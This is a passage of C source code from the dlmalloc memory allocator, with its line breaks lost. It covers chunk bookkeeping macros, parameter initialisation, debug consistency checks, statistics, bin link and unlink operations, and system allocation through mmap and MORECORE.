set_inuse(M,p,s)\ ((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\ (((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT), \ mark_inuse_foot(M,p,s)) #define set_inuse_and_pinuse(M,p,s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ (((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT),\ mark_inuse_foot(M,p,s)) #define set_size_and_pinuse_of_inuse_chunk(M, p, s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ mark_inuse_foot(M, p, s)) #endif /* !FOOTERS */ /* ---------------------------- setting mparams -------------------------- */ #if LOCK_AT_FORK static void pre_fork(void) { ACQUIRE_LOCK(&(gm)->mutex); } static void post_fork_parent(void) { RELEASE_LOCK(&(gm)->mutex); } static void post_fork_child(void) { INITIAL_LOCK(&(gm)->mutex); } #endif /* LOCK_AT_FORK */ /* Initialize mparams */ static int init_mparams(void) { #ifdef NEED_GLOBAL_LOCK_INIT if (malloc_global_mutex_status <= 0) init_malloc_global_mutex(); #endif ACQUIRE_MALLOC_GLOBAL_LOCK(); if (mparams.magic == 0) { size_t magic; size_t psize; size_t gsize; #ifndef WIN32 psize = malloc_getpagesize; gsize = ((DEFAULT_GRANULARITY != 0)? DEFAULT_GRANULARITY : psize); #else /* WIN32 */ { SYSTEM_INFO system_info; GetSystemInfo(&system_info); psize = system_info.dwPageSize; gsize = ((DEFAULT_GRANULARITY != 0)? DEFAULT_GRANULARITY : system_info.dwAllocationGranularity); } #endif /* WIN32 */ /* Sanity-check configuration: size_t must be unsigned and as wide as pointer type. ints must be at least 4 bytes. alignment must be at least 8. Alignment, min chunk size, and page size must all be powers of 2. */ if ((sizeof(size_t) != sizeof(char*)) || (MAX_SIZE_T < MIN_CHUNK_SIZE) || (sizeof(int) < 4) || (MALLOC_ALIGNMENT < (size_t)8U) || ((MALLOC_ALIGNMENT & (MALLOC_ALIGNMENT-SIZE_T_ONE)) != 0) || ((MCHUNK_SIZE & (MCHUNK_SIZE-SIZE_T_ONE)) != 0) || ((gsize & (gsize-SIZE_T_ONE)) != 0) || ((psize & (psize-SIZE_T_ONE)) != 0)) ABORT; mparams.granularity = gsize; mparams.page_size = psize; mparams.mmap_threshold = DEFAULT_MMAP_THRESHOLD; mparams.trim_threshold = DEFAULT_TRIM_THRESHOLD; #if MORECORE_CONTIGUOUS mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT; #else /* MORECORE_CONTIGUOUS */ mparams.default_mflags = USE_LOCK_BIT|USE_MMAP_BIT|USE_NONCONTIGUOUS_BIT; #endif /* MORECORE_CONTIGUOUS */ #if !ONLY_MSPACES /* Set up lock for main malloc area */ gm->mflags = mparams.default_mflags; (void)INITIAL_LOCK(&gm->mutex); #endif #if LOCK_AT_FORK pthread_atfork(&pre_fork, &post_fork_parent, &post_fork_child); #endif { #if USE_DEV_RANDOM int fd; unsigned char buf[sizeof(size_t)]; /* Try to use /dev/urandom, else fall back on using time */ if ((fd = open("/dev/urandom", O_RDONLY)) >= 0 && read(fd, buf, sizeof(buf)) == sizeof(buf)) { magic = *((size_t *) buf); close(fd); } else #endif /* USE_DEV_RANDOM */ #ifdef WIN32 magic = (size_t)(GetTickCount() ^ (size_t)0x55555555U); #elif defined(LACKS_TIME_H) magic = (size_t)&magic ^ (size_t)0x55555555U; #else magic = (size_t)(time(0) ^ (size_t)0x55555555U); #endif magic |= (size_t)8U; /* ensure nonzero */ magic &= ~(size_t)7U; /* improve chances of fault for bad values */ /* Until memory modes commonly available, use volatile-write */ (*(volatile size_t *)(&(mparams.magic))) = magic; } } RELEASE_MALLOC_GLOBAL_LOCK(); return 1; } /* support for mallopt */ static int change_mparam(int param_number, int value) { size_t val; ensure_initialization(); val = (value == -1)? MAX_SIZE_T : (size_t)value; switch(param_number) { case M_TRIM_THRESHOLD: mparams.trim_threshold = val; return 1; case M_GRANULARITY: if (val >= mparams.page_size && ((val & (val-1)) == 0)) { mparams.granularity = val; return 1; } else return 0; case M_MMAP_THRESHOLD: mparams.mmap_threshold = val; return 1; default: return 0; } } #if DEBUG /* ------------------------- Debugging Support --------------------------- */ /* Check properties of any chunk, whether free, inuse, mmapped etc */ static void do_check_any_chunk(mstate m, mchunkptr p) { assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); } /* Check properties of top chunk */ static void do_check_top_chunk(mstate m, mchunkptr p) { msegmentptr sp = segment_holding(m, (char*)p); size_t sz = p->head & ~INUSE_BITS; /* third-lowest bit can be set! */ assert(sp != 0); assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); assert(sz == m->topsize); assert(sz > 0); assert(sz == ((sp->base + sp->size) - (char*)p) - TOP_FOOT_SIZE); assert(pinuse(p)); assert(!pinuse(chunk_plus_offset(p, sz))); } /* Check properties of (inuse) mmapped chunks */ static void do_check_mmapped_chunk(mstate m, mchunkptr p) { size_t sz = chunksize(p); size_t len = (sz + (p->prev_foot) + MMAP_FOOT_PAD); assert(is_mmapped(p)); assert(use_mmap(m)); assert((is_aligned(chunk2mem(p))) || (p->head == FENCEPOST_HEAD)); assert(ok_address(m, p)); assert(!is_small(sz)); assert((len & (mparams.page_size-SIZE_T_ONE)) == 0); assert(chunk_plus_offset(p, sz)->head == FENCEPOST_HEAD); assert(chunk_plus_offset(p, sz+SIZE_T_SIZE)->head == 0); } /* Check properties of inuse chunks */ static void do_check_inuse_chunk(mstate m, mchunkptr p) { do_check_any_chunk(m, p); assert(is_inuse(p)); assert(next_pinuse(p)); /* If not pinuse and not mmapped, previous chunk has OK offset */ assert(is_mmapped(p) || pinuse(p) || next_chunk(prev_chunk(p)) == p); if (is_mmapped(p)) do_check_mmapped_chunk(m, p); } /* Check properties of free chunks */ static void do_check_free_chunk(mstate m, mchunkptr p) { size_t sz = chunksize(p); mchunkptr next = chunk_plus_offset(p, sz); do_check_any_chunk(m, p); assert(!is_inuse(p)); assert(!next_pinuse(p)); assert (!is_mmapped(p)); if (p != m->dv && p != m->top) { if (sz >= MIN_CHUNK_SIZE) { assert((sz & CHUNK_ALIGN_MASK) == 0); assert(is_aligned(chunk2mem(p))); assert(next->prev_foot == sz); assert(pinuse(p)); assert (next == m->top || is_inuse(next)); assert(p->fd->bk == p); assert(p->bk->fd == p); } else /* markers are always of size SIZE_T_SIZE */ assert(sz == SIZE_T_SIZE); } } /* Check properties of malloced chunks at the point they are malloced */ static void do_check_malloced_chunk(mstate m, void* mem, size_t s) { if (mem != 0) { mchunkptr p = mem2chunk(mem); size_t sz = p->head & ~INUSE_BITS; do_check_inuse_chunk(m, p); assert((sz & CHUNK_ALIGN_MASK) == 0); assert(sz >= MIN_CHUNK_SIZE); assert(sz >= s); /* unless mmapped, size is less than MIN_CHUNK_SIZE more than request */ assert(is_mmapped(p) || sz < (s + MIN_CHUNK_SIZE)); } } /* Check a tree and its subtrees. */ static void do_check_tree(mstate m, tchunkptr t) { tchunkptr head = 0; tchunkptr u = t; bindex_t tindex = t->index; size_t tsize = chunksize(t); bindex_t idx; compute_tree_index(tsize, idx); assert(tindex == idx); assert(tsize >= MIN_LARGE_SIZE); assert(tsize >= minsize_for_tree_index(idx)); assert((idx == NTREEBINS-1) || (tsize < minsize_for_tree_index((idx+1)))); do { /* traverse through chain of same-sized nodes */ do_check_any_chunk(m, ((mchunkptr)u)); assert(u->index == tindex); assert(chunksize(u) == tsize); assert(!is_inuse(u)); assert(!next_pinuse(u)); assert(u->fd->bk == u); assert(u->bk->fd == u); if (u->parent == 0) { assert(u->child[0] == 0); assert(u->child[1] == 0); } else { assert(head == 0); /* only one node on chain has parent */ head = u; assert(u->parent != u); assert (u->parent->child[0] == u || u->parent->child[1] == u || *((tbinptr*)(u->parent)) == u); if (u->child[0] != 0) { assert(u->child[0]->parent == u); assert(u->child[0] != u); do_check_tree(m, u->child[0]); } if (u->child[1] != 0) { assert(u->child[1]->parent == u); assert(u->child[1] != u); do_check_tree(m, u->child[1]); } if (u->child[0] != 0 && u->child[1] != 0) { assert(chunksize(u->child[0]) < chunksize(u->child[1])); } } u = u->fd; } while (u != t); assert(head != 0); } /* Check all the chunks in a treebin. */ static void do_check_treebin(mstate m, bindex_t i) { tbinptr* tb = treebin_at(m, i); tchunkptr t = *tb; int empty = (m->treemap & (1U << i)) == 0; if (t == 0) assert(empty); if (!empty) do_check_tree(m, t); } /* Check all the chunks in a smallbin. */ static void do_check_smallbin(mstate m, bindex_t i) { sbinptr b = smallbin_at(m, i); mchunkptr p = b->bk; unsigned int empty = (m->smallmap & (1U << i)) == 0; if (p == b) assert(empty); if (!empty) { for (; p != b; p = p->bk) { size_t size = chunksize(p); mchunkptr q; /* each chunk claims to be free */ do_check_free_chunk(m, p); /* chunk belongs in bin */ assert(small_index(size) == i); assert(p->bk == b || chunksize(p->bk) == chunksize(p)); /* chunk is followed by an inuse chunk */ q = next_chunk(p); if (q->head != FENCEPOST_HEAD) do_check_inuse_chunk(m, q); } } } /* Find x in a bin. Used in other check functions. */ static int bin_find(mstate m, mchunkptr x) { size_t size = chunksize(x); if (is_small(size)) { bindex_t sidx = small_index(size); sbinptr b = smallbin_at(m, sidx); if (smallmap_is_marked(m, sidx)) { mchunkptr p = b; do { if (p == x) return 1; } while ((p = p->fd) != b); } } else { bindex_t tidx; compute_tree_index(size, tidx); if (treemap_is_marked(m, tidx)) { tchunkptr t = *treebin_at(m, tidx); size_t sizebits = size << leftshift_for_tree_index(tidx); while (t != 0 && chunksize(t) != size) { t = t->child[(sizebits >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]; sizebits <<= 1; } if (t != 0) { tchunkptr u = t; do { if (u == (tchunkptr)x) return 1; } while ((u = u->fd) != t); } } } return 0; } /* Traverse each chunk and check it; return total */ static size_t traverse_and_check(mstate m) { size_t sum = 0; if (is_initialized(m)) { msegmentptr s = &m->seg; sum += m->topsize + TOP_FOOT_SIZE; while (s != 0) { mchunkptr q = align_as_chunk(s->base); mchunkptr lastq = 0; assert(pinuse(q)); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { sum += chunksize(q); if (is_inuse(q)) { assert(!bin_find(m, q)); do_check_inuse_chunk(m, q); } else { assert(q == m->dv || bin_find(m, q)); assert(lastq == 0 || is_inuse(lastq)); /* Not 2 consecutive free */ do_check_free_chunk(m, q); } lastq = q; q = next_chunk(q); } s = s->next; } } return sum; } /* Check all properties of malloc_state. */ static void do_check_malloc_state(mstate m) { bindex_t i; size_t total; /* check bins */ for (i = 0; i < NSMALLBINS; ++i) do_check_smallbin(m, i); for (i = 0; i < NTREEBINS; ++i) do_check_treebin(m, i); if (m->dvsize != 0) { /* check dv chunk */ do_check_any_chunk(m, m->dv); assert(m->dvsize == chunksize(m->dv)); assert(m->dvsize >= MIN_CHUNK_SIZE); assert(bin_find(m, m->dv) == 0); } if (m->top != 0) { /* check top chunk */ do_check_top_chunk(m, m->top); /*assert(m->topsize == chunksize(m->top)); redundant */ assert(m->topsize > 0); assert(bin_find(m, m->top) == 0); } total = traverse_and_check(m); assert(total <= m->footprint); assert(m->footprint <= m->max_footprint); } #endif /* DEBUG */ /* ----------------------------- statistics ------------------------------ */ #if !NO_MALLINFO static struct mallinfo internal_mallinfo(mstate m) { struct mallinfo nm = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; ensure_initialization(); if (!PREACTION(m)) { check_malloc_state(m); if (is_initialized(m)) { size_t nfree = SIZE_T_ONE; /* top always free */ size_t mfree = m->topsize + TOP_FOOT_SIZE; size_t sum = mfree; msegmentptr s = &m->seg; while (s != 0) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { size_t sz = chunksize(q); sum += sz; if (!is_inuse(q)) { mfree += sz; ++nfree; } q = next_chunk(q); } s = s->next; } nm.arena = sum; nm.ordblks = nfree; nm.hblkhd = m->footprint - sum; nm.usmblks = m->max_footprint; nm.uordblks = m->footprint - mfree; nm.fordblks = mfree; nm.keepcost = m->topsize; } POSTACTION(m); } return nm; } #endif /* !NO_MALLINFO */ #if !NO_MALLOC_STATS static void internal_malloc_stats(mstate m) { ensure_initialization(); if (!PREACTION(m)) { size_t maxfp = 0; size_t fp = 0; size_t used = 0; check_malloc_state(m); if (is_initialized(m)) { msegmentptr s = &m->seg; maxfp = m->max_footprint; fp = m->footprint; used = fp - (m->topsize + TOP_FOOT_SIZE); while (s != 0) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q != m->top && q->head != FENCEPOST_HEAD) { if (!is_inuse(q)) used -= chunksize(q); q = next_chunk(q); } s = s->next; } } POSTACTION(m); /* drop lock */ fprintf(stderr, "max system bytes = %10lu\n", (unsigned long)(maxfp)); fprintf(stderr, "system bytes = %10lu\n", (unsigned long)(fp)); fprintf(stderr, "in use bytes = %10lu\n", (unsigned long)(used)); } } #endif /* NO_MALLOC_STATS */ /* ----------------------- Operations on smallbins ----------------------- */ /* Various forms of linking and unlinking are defined as macros. Even the ones for trees, which are very long but have very short typical paths. This is ugly but reduces reliance on inlining support of compilers. */ /* Link a free chunk into a smallbin */ #define insert_small_chunk(M, P, S) {\ bindex_t I = small_index(S);\ mchunkptr B = smallbin_at(M, I);\ mchunkptr F = B;\ assert(S >= MIN_CHUNK_SIZE);\ if (!smallmap_is_marked(M, I))\ mark_smallmap(M, I);\ else if (RTCHECK(ok_address(M, B->fd)))\ F = B->fd;\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ B->fd = P;\ F->bk = P;\ P->fd = F;\ P->bk = B;\ } /* Unlink a chunk from a smallbin */ #define unlink_small_chunk(M, P, S) {\ mchunkptr F = P->fd;\ mchunkptr B = P->bk;\ bindex_t I = small_index(S);\ assert(P != B);\ assert(P != F);\ assert(chunksize(P) == small_index2size(I));\ if (RTCHECK(F == smallbin_at(M,I) || (ok_address(M, F) && F->bk == P))) { \ if (B == F) {\ clear_smallmap(M, I);\ }\ else if (RTCHECK(B == smallbin_at(M,I) ||\ (ok_address(M, B) && B->fd == P))) {\ F->bk = B;\ B->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } /* Unlink the first chunk from a smallbin */ #define unlink_first_small_chunk(M, B, P, I) {\ mchunkptr F = P->fd;\ assert(P != B);\ assert(P != F);\ assert(chunksize(P) == small_index2size(I));\ if (B == F) {\ clear_smallmap(M, I);\ }\ else if (RTCHECK(ok_address(M, F) && F->bk == P)) {\ F->bk = B;\ B->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ } /* Replace dv node, binning the old one */ /* Used only when dvsize known to be small */ #define replace_dv(M, P, S) {\ size_t DVS = M->dvsize;\ assert(is_small(DVS));\ if (DVS != 0) {\ mchunkptr DV = M->dv;\ insert_small_chunk(M, DV, DVS);\ }\ M->dvsize = S;\ M->dv = P;\ } /* ------------------------- Operations on trees ------------------------- */ /* Insert chunk into tree */ #define insert_large_chunk(M, X, S) {\ tbinptr* H;\ bindex_t I;\ compute_tree_index(S, I);\ H = treebin_at(M, I);\ X->index = I;\ X->child[0] = X->child[1] = 0;\ if (!treemap_is_marked(M, I)) {\ mark_treemap(M, I);\ *H = X;\ X->parent = (tchunkptr)H;\ X->fd = X->bk = X;\ }\ else {\ tchunkptr T = *H;\ size_t K = S << leftshift_for_tree_index(I);\ for (;;) {\ if (chunksize(T) != S) {\ tchunkptr* C = &(T->child[(K >> (SIZE_T_BITSIZE-SIZE_T_ONE)) & 1]);\ K <<= 1;\ if (*C != 0)\ T = *C;\ else if (RTCHECK(ok_address(M, C))) {\ *C = X;\ X->parent = T;\ X->fd = X->bk = X;\ break;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ break;\ }\ }\ else {\ tchunkptr F = T->fd;\ if (RTCHECK(ok_address(M, T) && ok_address(M, F))) {\ T->fd = F->bk = X;\ X->fd = F;\ X->bk = T;\ X->parent = 0;\ break;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ break;\ }\ }\ }\ }\ } /* Unlink steps: 1. If x is a chained node, unlink it from its same-sized fd/bk links and choose its bk node as its replacement. 2. If x was the last node of its size, but not a leaf node, it must be replaced with a leaf node (not merely one with an open left or right), to make sure that lefts and rights of descendents correspond properly to bit masks. We use the rightmost descendent of x. We could use any other leaf, but this is easy to locate and tends to counteract removal of leftmosts elsewhere, and so keeps paths shorter than minimally guaranteed. This doesn't loop much because on average a node in a tree is near the bottom. 3. If x is the base of a chain (i.e., has parent links) relink x's parent and children to x's replacement (or null if none). */ #define unlink_large_chunk(M, X) {\ tchunkptr XP = X->parent;\ tchunkptr R;\ if (X->bk != X) {\ tchunkptr F = X->fd;\ R = X->bk;\ if (RTCHECK(ok_address(M, F) && F->bk == X && R->fd == X)) {\ F->bk = R;\ R->fd = F;\ }\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else {\ tchunkptr* RP;\ if (((R = *(RP = &(X->child[1]))) != 0) ||\ ((R = *(RP = &(X->child[0]))) != 0)) {\ tchunkptr* CP;\ while ((*(CP = &(R->child[1])) != 0) ||\ (*(CP = &(R->child[0])) != 0)) {\ R = *(RP = CP);\ }\ if (RTCHECK(ok_address(M, RP)))\ *RP = 0;\ else {\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ }\ if (XP != 0) {\ tbinptr* H = treebin_at(M, X->index);\ if (X == *H) {\ if ((*H = R) == 0) \ clear_treemap(M, X->index);\ }\ else if (RTCHECK(ok_address(M, XP))) {\ if (XP->child[0] == X) \ XP->child[0] = R;\ else \ XP->child[1] = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ if (R != 0) {\ if (RTCHECK(ok_address(M, R))) {\ tchunkptr C0, C1;\ R->parent = XP;\ if ((C0 = X->child[0]) != 0) {\ if (RTCHECK(ok_address(M, C0))) {\ R->child[0] = C0;\ C0->parent = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ if ((C1 = X->child[1]) != 0) {\ if (RTCHECK(ok_address(M, C1))) {\ R->child[1] = C1;\ C1->parent = R;\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ else\ CORRUPTION_ERROR_ACTION(M);\ }\ }\ } /* Relays to large vs small bin operations */ #define insert_chunk(M, P, S)\ if (is_small(S)) insert_small_chunk(M, P, S)\ else { tchunkptr TP = (tchunkptr)(P); insert_large_chunk(M, TP, S); } #define unlink_chunk(M, P, S)\ if (is_small(S)) unlink_small_chunk(M, P, S)\ else { tchunkptr TP = (tchunkptr)(P); unlink_large_chunk(M, TP); } /* Relays to internal calls to malloc/free from realloc, memalign etc */ #if ONLY_MSPACES #define internal_malloc(m, b) mspace_malloc(m, b) #define internal_free(m, mem) mspace_free(m,mem); #else /* ONLY_MSPACES */ #if MSPACES #define internal_malloc(m, b)\ ((m == gm)? dlmalloc(b) : mspace_malloc(m, b)) #define internal_free(m, mem)\ if (m == gm) dlfree(mem); else mspace_free(m,mem); #else /* MSPACES */ #define internal_malloc(m, b) dlmalloc(b) #define internal_free(m, mem) dlfree(mem) #endif /* MSPACES */ #endif /* ONLY_MSPACES */ /* ----------------------- Direct-mmapping chunks ----------------------- */ /* Directly mmapped chunks are set up with an offset to the start of the mmapped region stored in the prev_foot field of the chunk. This allows reconstruction of the required argument to MUNMAP when freed, and also allows adjustment of the returned chunk to meet alignment requirements (especially in memalign). */ /* Malloc using mmap */ static void* mmap_alloc(mstate m, size_t nb) { size_t mmsize = mmap_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK); if (m->footprint_limit != 0) { size_t fp = m->footprint + mmsize; if (fp <= m->footprint || fp > m->footprint_limit) return 0; } if (mmsize > nb) { /* Check for wrap around 0 */ char* mm = (char*)(CALL_DIRECT_MMAP(mmsize)); if (mm != CMFAIL) { size_t offset = align_offset(chunk2mem(mm)); size_t psize = mmsize - offset - MMAP_FOOT_PAD; mchunkptr p = (mchunkptr)(mm + offset); p->prev_foot = offset; p->head = psize; mark_inuse_foot(m, p, psize); chunk_plus_offset(p, psize)->head = FENCEPOST_HEAD; chunk_plus_offset(p, psize+SIZE_T_SIZE)->head = 0; if (m->least_addr == 0 || mm < m->least_addr) m->least_addr = mm; if ((m->footprint += mmsize) > m->max_footprint) m->max_footprint = m->footprint; assert(is_aligned(chunk2mem(p))); check_mmapped_chunk(m, p); return chunk2mem(p); } } return 0; } /* Realloc using mmap */ static mchunkptr mmap_resize(mstate m, mchunkptr oldp, size_t nb, int flags) { size_t oldsize = chunksize(oldp); (void)flags; /* placate people compiling -Wunused */ if (is_small(nb)) /* Can't shrink mmap regions below small size */ return 0; /* Keep old chunk if big enough but not too big */ if (oldsize >= nb + SIZE_T_SIZE && (oldsize - nb) <= (mparams.granularity << 1)) return oldp; else { size_t offset = oldp->prev_foot; size_t oldmmsize = oldsize + offset + MMAP_FOOT_PAD; size_t newmmsize = mmap_align(nb + SIX_SIZE_T_SIZES + CHUNK_ALIGN_MASK); char* cp = (char*)CALL_MREMAP((char*)oldp - offset, oldmmsize, newmmsize, flags); if (cp != CMFAIL) { mchunkptr newp = (mchunkptr)(cp + offset); size_t psize = newmmsize - offset - MMAP_FOOT_PAD; newp->head = psize; mark_inuse_foot(m, newp, psize); chunk_plus_offset(newp, psize)->head = FENCEPOST_HEAD; chunk_plus_offset(newp, psize+SIZE_T_SIZE)->head = 0; if (cp < m->least_addr) m->least_addr = cp; if ((m->footprint += newmmsize - oldmmsize) > m->max_footprint) m->max_footprint = m->footprint; check_mmapped_chunk(m, newp); return newp; } } return 0; } /* -------------------------- mspace management -------------------------- */ /* Initialize top chunk and its size */ static void init_top(mstate m, mchunkptr p, size_t psize) { /* Ensure alignment */ size_t offset = align_offset(chunk2mem(p)); p = (mchunkptr)((char*)p + offset); psize -= offset; m->top = p; m->topsize = psize; p->head = psize | PINUSE_BIT; /* set size of fake trailing chunk holding overhead space only once */ chunk_plus_offset(p, psize)->head = TOP_FOOT_SIZE; m->trim_check = mparams.trim_threshold; /* reset on each update */ } /* Initialize bins for a new mstate that is otherwise zeroed out */ static void init_bins(mstate m) { /* Establish circular links for smallbins */ bindex_t i; for (i = 0; i < NSMALLBINS; ++i) { sbinptr bin = smallbin_at(m,i); bin->fd = bin->bk = bin; } } #if PROCEED_ON_ERROR /* default corruption action */ static void reset_on_error(mstate m) { int i; ++malloc_corruption_error_count; /* Reinitialize fields to forget about all memory */ m->smallmap = m->treemap = 0; m->dvsize = m->topsize = 0; m->seg.base = 0; m->seg.size = 0; m->seg.next = 0; m->top = m->dv = 0; for (i = 0; i < NTREEBINS; ++i) *treebin_at(m, i) = 0; init_bins(m); } #endif /* PROCEED_ON_ERROR */ /* Allocate chunk and prepend remainder with chunk in successor base. */ static void* prepend_alloc(mstate m, char* newbase, char* oldbase, size_t nb) { mchunkptr p = align_as_chunk(newbase); mchunkptr oldfirst = align_as_chunk(oldbase); size_t psize = (char*)oldfirst - (char*)p; mchunkptr q = chunk_plus_offset(p, nb); size_t qsize = psize - nb; set_size_and_pinuse_of_inuse_chunk(m, p, nb); assert((char*)oldfirst > (char*)q); assert(pinuse(oldfirst)); assert(qsize >= MIN_CHUNK_SIZE); /* consolidate remainder with first chunk of old base */ if (oldfirst == m->top) { size_t tsize = m->topsize += qsize; m->top = q; q->head = tsize | PINUSE_BIT; check_top_chunk(m, q); } else if (oldfirst == m->dv) { size_t dsize = m->dvsize += qsize; m->dv = q; set_size_and_pinuse_of_free_chunk(q, dsize); } else { if (!is_inuse(oldfirst)) { size_t nsize = chunksize(oldfirst); unlink_chunk(m, oldfirst, nsize); oldfirst = chunk_plus_offset(oldfirst, nsize); qsize += nsize; } set_free_with_pinuse(q, qsize, oldfirst); insert_chunk(m, q, qsize); check_free_chunk(m, q); } check_malloced_chunk(m, chunk2mem(p), nb); return chunk2mem(p); } /* Add a segment to hold a new noncontiguous region */ static void add_segment(mstate m, char* tbase, size_t tsize, flag_t mmapped) { /* Determine locations and sizes of segment, fenceposts, old top */ char* old_top = (char*)m->top; msegmentptr oldsp = segment_holding(m, old_top); char* old_end = oldsp->base + oldsp->size; size_t ssize = pad_request(sizeof(struct malloc_segment)); char* rawsp = old_end - (ssize + FOUR_SIZE_T_SIZES + CHUNK_ALIGN_MASK); size_t offset = align_offset(chunk2mem(rawsp)); char* asp = rawsp + offset; char* csp = (asp < (old_top + MIN_CHUNK_SIZE))? old_top : asp; mchunkptr sp = (mchunkptr)csp; msegmentptr ss = (msegmentptr)(chunk2mem(sp)); mchunkptr tnext = chunk_plus_offset(sp, ssize); mchunkptr p = tnext; int nfences = 0; /* reset top to new space */ init_top(m, (mchunkptr)tbase, tsize - TOP_FOOT_SIZE); /* Set up segment record */ assert(is_aligned(ss)); set_size_and_pinuse_of_inuse_chunk(m, sp, ssize); *ss = m->seg; /* Push current record */ m->seg.base = tbase; m->seg.size = tsize; m->seg.sflags = mmapped; m->seg.next = ss; /* Insert trailing fenceposts */ for (;;) { mchunkptr nextp = chunk_plus_offset(p, SIZE_T_SIZE); p->head = FENCEPOST_HEAD; ++nfences; if ((char*)(&(nextp->head)) < old_end) p = nextp; else break; } assert(nfences >= 2); /* Insert the rest of old top into a bin as an ordinary free chunk */ if (csp != old_top) { mchunkptr q = (mchunkptr)old_top; size_t psize = csp - old_top; mchunkptr tn = chunk_plus_offset(q, psize); set_free_with_pinuse(q, psize, tn); insert_chunk(m, q, psize); } check_top_chunk(m, m->top); } /* -------------------------- System allocation -------------------------- */ /* Get memory from system using MORECORE or MMAP */ static void* sys_alloc(mstate m, size_t nb) { char* tbase = CMFAIL; size_t tsize = 0; flag_t mmap_flag = 0; size_t asize; /* allocation size */ ensure_initialization(); /* Directly map large chunks, but only if already initialized */ if (use_mmap(m) && nb >= mparams.mmap_threshold && m->topsize != 0) { void* mem = mmap_alloc(m, nb); if (mem != 0) return mem; } asize = granularity_align(nb + SYS_ALLOC_PADDING); if (asize <= nb) return 0; /* wraparound */ if (m->footprint_limit != 0) { size_t fp = m->footprint + asize; if (fp <= m->footprint || fp > m->footprint_limit) return 0; } /* Try getting memory in any of three ways (in most-preferred to least-preferred order): 1. A call to MORECORE that can normally contiguously extend memory. (disabled if not MORECORE_CONTIGUOUS or not HAVE_MORECORE or or main space is mmapped or a previous contiguous call failed) 2. A call to MMAP new space (disabled if not HAVE_MMAP). Note that under the default settings, if MORECORE is unable to fulfill a request, and HAVE_MMAP is true, then mmap is used as a noncontiguous system allocator. This is a useful backup strategy for systems with holes in address spaces -- in this case sbrk cannot contiguously expand the heap, but mmap may be able to find space. 3. A call to MORECORE that cannot usually contiguously extend memory. (disabled if not HAVE_MORECORE) In all cases, we need to request enough bytes from system to ensure we can malloc nb bytes upon success, so pad with enough space for top_foot, plus alignment-pad to make sure we don't lose bytes if not on boundary, and round this up to a granularity unit. */ if (MORECORE_CONTIGUOUS && !use_noncontiguous(m)) { char* br = CMFAIL; size_t ssize = asize; /* sbrk call size */ msegmentptr ss = (m->top == 0)? 0 : segment_holding(m, (char*)m->top); ACQUIRE_MALLOC_GLOBAL_LOCK(); if (ss == 0) { /* First time through or recovery */ char* base = (char*)CALL_MORECORE(0); if (base != CMFAIL) { size_t fp; /* Adjust to end on a page boundary */ if (!is_page_aligned(base)) ssize += (page_align((size_t)base) - (size_t)base); fp = m->footprint + ssize; /* recheck limits */ if (ssize > nb && ssize < HALF_MAX_SIZE_T && (m->footprint_limit == 0 || (fp > m->footprint && fp <= m->footprint_limit)) && (br = (char*)(CALL_MORECORE(ssize))) == base) { tbase = base; tsize = ssize; } } } else { /* Subtract out existing available top space from MORECORE request. */ ssize = granularity_align(nb - m->topsize + SYS_ALLOC_PADDING); /* Use mem here only if it did continuously extend old space */ if (ssize < HALF_MAX_SIZE_T && (br = (char*)(CALL_MORECORE(ssize))) == ss->base+ss->size) { tbase = br; tsize = ssize; } } if (tbase == CMFAIL) { /* Cope with partial failure */ if (br != CMFAIL) { /* Try to use/extend the space we did get */ if (ssize < HALF_MAX_SIZE_T && ssize < nb + SYS_ALLOC_PADDING) { size_t esize = granularity_align(nb + SYS_ALLOC_PADDING - ssize); if (esize < HALF_MAX_SIZE_T) { char* end = (char*)CALL_MORECORE(esize); if (end != CMFAIL) ssize += esize; else { /* Can't use; try to release */ (void) CALL_MORECORE(-ssize); br = CMFAIL; } } } } if (br != CMFAIL) { /* Use the space we did get */ tbase = br; tsize = ssize; } else disable_contiguous(m); /* Don't try contiguous path in the future */ } RELEASE_MALLOC_GLOBAL_LOCK(); } if (HAVE_MMAP && tbase == CMFAIL) { /* Try MMAP */ char* mp = (char*)(CALL_MMAP(asize)); if (mp != CMFAIL) { tbase = mp; tsize = asize; mmap_flag = USE_MMAP_BIT; } } if (HAVE_MORECORE && tbase == CMFAIL) { /* Try noncontiguous MORECORE */ if (asize < HALF_MAX_SIZE_T) { char* br = CMFAIL; char* end = CMFAIL; ACQUIRE_MALLOC_GLOBAL_LOCK(); br = (char*)(CALL_MORECORE(asize)); end = (char*)(CALL_MORECORE(0)); RELEASE_MALLOC_GLOBAL_LOCK(); if (br != CMFAIL && end != CMFAIL && br < end) { size_t ssize = end - br; if (ssize > nb + TOP_FOOT_SIZE) { tbase = br; tsize = ssize; } } } } if (tbase != CMFAIL) { if ((m->footprint += tsize) > m->max_footprint) m->max_footprint = m->footprint; if (!is_initialized(m)) { /* first-time initialization */ if (m->least_addr == 0 || tbase < m->least_addr) m->least_addr = tbase; m->seg.base = tbase; m->seg.size = tsize; m->seg.sflags = mmap_flag; m->magic = mparams.magic; m->release_checks = 